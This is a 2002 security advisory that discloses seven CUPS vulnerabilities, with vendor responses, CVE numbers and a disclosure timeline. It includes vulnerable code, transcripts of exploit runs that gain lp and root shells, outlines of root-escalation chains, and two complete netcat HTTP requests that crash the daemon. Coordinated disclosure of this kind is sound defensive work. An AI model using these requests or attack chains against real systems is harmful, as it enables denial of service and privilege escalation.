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Multiple Security Vulnerabilities in Common Unix Printing System (CUPS)

12.23.02

BACKGROUND

Easy Software Products' Common Unix Printing System (CUPS) is a cross-platform printing solution for Unix environments. It is based on the "Internet Printing Protocol," and provides complete printing services to most PostScript and raster printers. CUPS has a web-based graphical interface for printer management and is available on most Linux systems. More information is available at http://www.cups.org .

The following major vendors are known to support CUPS; in some cases, it is the default printing implementation used as well:

Apple Computer Inc.
Debian Project
FreeBSD Project
MandrakeSoft Inc.
NetBSD Foundation
Red Hat Inc.
Slackware Linux Inc.
SuSE Inc.
The SCO Group
Turbolinux Inc.

DESCRIPTION

Exploitation of multiple CUPS vulnerabilities allow local and remote attackers in the worst of the scenarios to gain root privileges. The following test platforms were used for various parts of this advisory:

[1] - Red Hat Linux 7.0 running CUPS-1.1.14-5 (RPM)
[2] - Red Hat Linux 7.3 running CUPS-1.1.14-15 (RPM)
[3] - Red Hat Linux 7.3 running CUPS-1.1.17 (Source Install)



**** ISSUE 1 - Multiple Integer Overflows ****

An integer overflow exists in the CUPSd http interface. Exploitation allows an attacker to gain the permissions of the 'lp' user id and the 'sys' group id. The offending lines of code can be found in cgi-bin/var.c:

var                  = form_vars + form_count;
var->name            = strdup(name);
var->nvalues         = element + 1;
var->avalues         = element + 1;
var->values          = calloc(element + 1, sizeof(char *));
var->values[element] = strdup(value);

Since an attacker has control over both element and value, he or she can overwrite the address of a soon-to-be called function with the address of arbitrary code. The following is a successful run of the vanilla-coke exploit ran against test platform [1] built against glibc-2.2.4-18.7.0.8:

$ ./vanilla-coke

$ ls -l /tmp/suid
- - - - - - - -rwsrwsr-x 1 lp sys 14093 Dec 4 07:50 /tmp/suid

$ /tmp/suid
sh-2.04$ id
uid=4(lp) gid=3(sys) groups=500(farmer)

The exploit created a set user id 'lp' shell. While the current exploit works only against systems utilizing glibc-2.2.4-18.7.0.8, it is possible to make modifications that will make it effective against earlier glibc versions. The vulnerable code also exists in the latest version of CUPS (test platform [3]) and appears to be exploitable with slight
modifications.

Multiple integer overflows also exist in the image handling code of the filters in CUPS. The following is a successful run of the mksun exploit tested against platform [1]:

$ ls -al /tmp/resulted
/bin/ls: /tmp/resulted: No such file or directory

$ ./mksun | lp
request id is lp-100 (1 file(s))

$ cat /tmp/resulted
Ok.
uid=4(lp) gid=3(sys)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),40(dip)

This vulnerability still exists in the latest version of CUPS (test platform [3]) slight modification of the exploit code is required.



**** ISSUE 2 - /etc/cups/certs/ Race Condition ****

A race condition exists in the creation of /etc/cups/certs/<pid>. This allows a local attacker to create or overwrite any file as root. A prerequisite to launching this attack is 'lp' user privileges, which can be gained through successful exploitation of ISSUE 1 (see above).

The following is a successful run of the ice-cream exploit tested against platforms [1], [2], and [3]:

sh-2.04$ /tmp/ice-cream
Waiting for creation event.
Trying 127.0.0.1...
Connected to redhat7.0 (127.0.0.1).
Escape character is '^]'.
HTTP/1.1 200 OK
Date: Wed, 04 Dec 2002 12:37:21 GMT
Server: CUPS/1.1
...
...
Connection closed by foreign host.
Hit it.
exec some suid with the lib preloading and then remove
/etc/ld.so.preload-type-file to put things roughly the way they were.

sh-2.04$ ls -l /etc/ld.so.preload-type-file
- - - - - - - -rw-rw-rw- 1 lp sys 20 Dec 4 07:37
/etc/ld.so.preload-type-file

The sample exploit created /etc/ld.so.preload-type-file. An easy modification can generate /etc/ld.so.preload, which can then be used to gain root privileges by redefining functions such as getuid() as a simple "return 0".



**** ISSUE 3 - Adding Printers with UDP Packets/ Root Certificate Design
Flaw ****

Printers can remotely be added to CUPS by sending a specially crafted UDP packet. The ability to remotely add printers is used in ISSUE 3 as well as in the exploitation of other subsequent vulnerabilities within this advisory (see below). The added printer can contain a tainted name that when clicked on or referenced through other means (image request, etc.) can exploit ISSUE 1. The exploit does not have to be locally launched
being the shellcode can be modified to connect back to a system controlled by the attacker.

The following is a successful run of the new-coke exploit tested against platforms [1] and [2]:

$ ./new-coke 127.0.0.1
Argv[1]=127.0.0.1
punt!

Checking the web interface to CUPS after running this exploit shows the added printer. The only way to edit or remove this printer through the web interface is to click on it, which will in turn exploit the vulnerability.

A consequence of exploiting this vulnerability is that a local attacker can exploit a design flaw to gain root privileges. A printer is first added and configured to run on a high numbered port. It is then told to return a "need authorization" page. The http backend will then authorize with the current local root certificate, as this is the same certificate
that is needed to access the administrative section of the web server. Once the certificate has been obtained, it is possible to add a printer that will execute commands with root privileges.

The following is a successful run of the pardonme exploit script tested against platform [1]:

$ ./pardonme.sh
Proof of concept - stealing certificate 0 from CUPS
=================================================== Allows access to
/admin/ area which we use to execute code as root.

- - - - - - - - creating tmp printer to steal key from
- - - - - - - - telling it we want the key.
- - - - - - - - listening for key.
- - - - - - - - attempting to create rootshell printer
- - - - - - - - calling /tmp/doitnow
request id is givemeroot-4 (1 file(s))
- - - - - - - - removing tmp printer "hackyou"
- - - - - - - - removing root shell printer "givemeroot" - check
/tmp/resulted
- - - - - - - - done

=== contents of file ===
uid=0(root) gid=0(root)
Thu Dec 5 02:19:13 GMT 2002
=== contents of file ===



**** ISSUE 4 - Negative Length Memcpy() Calls ****

Negative length memcpy() calls can lead to a denial of service (DoS) and, on some platforms, remote root compromise. The following examples demonstrate these vulnerabilities:

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked

- - - - - - - -FFFFFFFE

Both requests will crash the CUPS daemon. This issue is similar to the Apache HTTP Server chunking bug that is exploitable on OpenBSD, FreeBSD, and NetBSD due to their implementations of memcpy(). Platforms [1], [2] and [3] are all susceptible to this vulnerability.



**** ISSUE 5 - Unsafe Strncat Function Call in scheduler/jobs.c ****

scheduler/jobs.c insecurely uses the strncat function call in the setup of the 'options' string. As such, it is possible to exploit this in conjunction with the vulnerability described in ISSUE 3 to obtain local root privileges. To exploit the vulnerability, a printer is created. A job is then sent to the printer with attributes set in such a fashion as to overflow the options buffer and overwrite the return address of the frame. Shellcode is then executed. It calls an external program, /tmp/doitnow, which will be executed with root privileges. In the process, two files are created that, unless removed, should prevent CUPS from starting:

/var/spool/cups/d00*-0*
/var/spool/cups/c00*

The following is a succesful run of the tosend script that utilizes the lift exploit. It has been tested against platform [1]:

$ ./tosend.sh
* local root
* cupsd incorrect usage of strncat in jobs.c
* ========================================== * proof of concept. appends
output from "id" and "date" to
  to /tmp/resulted
[+] checking stuff
* Checking for cupsd file
* Checking cupsd is running
  * checking for /sbin/pidof
  + ok!
  * finding pid of process
13427
  + ok!
* Checking for make
/usr/bin/make
* Checking for nc
/usr/bin/nc
[+] Building stuff
* Making lift
make: `lift' is up to date.
* firing message (needs netcat (nc) to be in your path)
punt!
[+] About to check /tmp/resulted
- - - - - - - - time is now Wed Dec 4 14:27:16 EST 2002
- - - - - - - - current uid == 500
- - - - - - - - current gid == 500

The /tmp/doitnow script, in this case, simply contains the command "id >/tmp/didit.txt". The tosend script has successfully used the lift exploit, and the didit.txt file has been created, which, as can be seen from the contents, was executed with root privileges:

# cat /tmp/didit.txt
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

The exploit is not effective against later versions of CUPS since the strncat() calls have been replaced with calls to strlcat().



**** ISSUE 6 - Zero Width Images in filters/image-gif.c ****

CUPS improperly check for zero width images in filters/image-gif.c as can be seen from the following offending code:

...
  bpp       = ImageGetDepth(img);
  pixels    = calloc(bpp, img->xsize);
...
            xpos ++;
    temp += bpp;
    if (xpos == img->xsize)
    {
      ImagePutRow(img, 0, ypos, img->xsize, pixels); ...


The check for reaching the line width is not performed until after the increment, therefore allowing an attacker to manipulate the chunk headers and execute arbitrary code.

The following is a successful run of the nogif exploit tested against platform [1]:

$ ./nogif
zero width gif exploit for cups "imageto*" filters
imagetops filter example.
============================
ppmtogif: computing other colormap...
ppmtogif: 256 colors found
ppmtogif: sorting colormap
Moving img1.gif to /var/tmp
Now make and run ./wrap to emulate printing this job.

$ ./wrap
INFO: lp 7 root img1.gif 1 /var/tmp//////////img1.gif
DEBUG: Page = 612x792; 18,36 to 594,756
DEBUG: ImageOpen("/var/tmp//////////img1.gif", 1, 1, 100, 0, (nil))

Successful exploitation should execute the file /tmp/sh. This vulnerability still exists in the latest version of CUPS (test platform [3]). Slight modification of the exploit code is required, however.



**** ISSUE 7 - File Descriptor Resource Leaks ****

Return values of many file and socket operations are not checked, therefore leading to file descriptor leaks. Attackers can launch a DoS attack against a system running CUPS. The following is a successful run of the fanta exploit tested against platform [1]:

$ ./fanta

The error below doesn't appear to show up, and the process hangs at around 300-400 somewhere sometimes.

Problem in cups is caused by file descriptor leaks, and failing to check return values for file operations in many areas.
0 sent
100 sent
200 sent

ANALYSIS

Local and remote attackers can exploit the above-described vulnerabilities on vulnerable CUPS versions to gain superuser privileges. Exploitation is relatively easy in most cases given exploit code, although certain modifications are necessary in certain instances.

DETECTION

CUPS-1.1.14-5, CUPS-1.1.14-15, and CUPS-1.1.17 are susceptible. See the
detailed DESCRIPTION section above to determine the specifics of implementation susceptibility.

WORKAROUND

Crashed daemons must be restarted in order to resume normal operations. If the CUPS daemon cannot restart, check for the existence of the following files and remove them:

/var/spool/cups/d00*-0*
/var/spool/cups/c00*

VENDOR RESPONSE

Michael Sweet [mike@easysw.com] of Easy Software Products said CUPS 1.1.18
will be released December 19, 2002 which addresses all of these issues (http://www.cups.org) .

Mark J Cox (mjc@redhat.com) of Red Hat said the following:

"Red Hat Linux 7.3 and 8.0 ship with CUPS, however it is not enabled by default. We are currently working on producing erratum packages. When complete, these will be available along with our advisory. At the same time, users of the Red Hat Network will be able to update their systems using the 'up2date' tool."

Richard Blanchard (rblanchard@apple.com) of Apple said the following:

"Affected Systems:
     Mac OS X 10.2 - Mac OS X 10.2.2
     Mac OS X Server 10.2 - Mac OS X Server 10.2.2
     Mitigating Factors:  The described vulnerability can be remotely
exploited only when Printer Sharing is enabled. Printer Sharing is not
enabled by default on Mac OS X or Mac OS X Server.
Fixed in:  Mac OS X 10.2.3 and Mac OS X Server 10.2.3"

CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project has assigned the following identification numbers to these issues:

CAN-2002-1383: ISSUE 1 - Multiple Integer Overflows
CAN-2002-1366: ISSUE 2 - /etc/cups/certs/ Race Condition
CAN-2002-1367: ISSUE 3 - Adding Printers with UDP Packets/
                         Root Certificate Design Flaw
CAN-2002-1368: ISSUE 4 - Negative Length Memcpy() Calls
CAN-2002-1369: ISSUE 5 - Unsafe Strncat Function Call in jobs.c
CAN-2002-1371: ISSUE 6 - Zero Width Images in filters/image-gif.c
CAN-2002-1372: ISSUE 7 - File Descriptor Resource Leaks

DISCLOSURE TIMELINE

10/27/2002       Initial discussion with contributor
11/14/2002       Final contributor submission
12/12/2002       CUPS author notified via e-mail to cups-support@cups.org
12/12/2002       iDEFENSE clients notified
12/12/2002       Response and preliminary patch received from
12/12/2002       Apple, Linux Security List (vendor-sec@lst.de)
12/13/2002       Updated patch received from Michael Sweet
12/17/2002       Response received from Richard Blanchard
12/19/2002       Coordinated Public Disclosure

CREDIT

zen-parse (zen-parse@gmx.net) discovered these issues.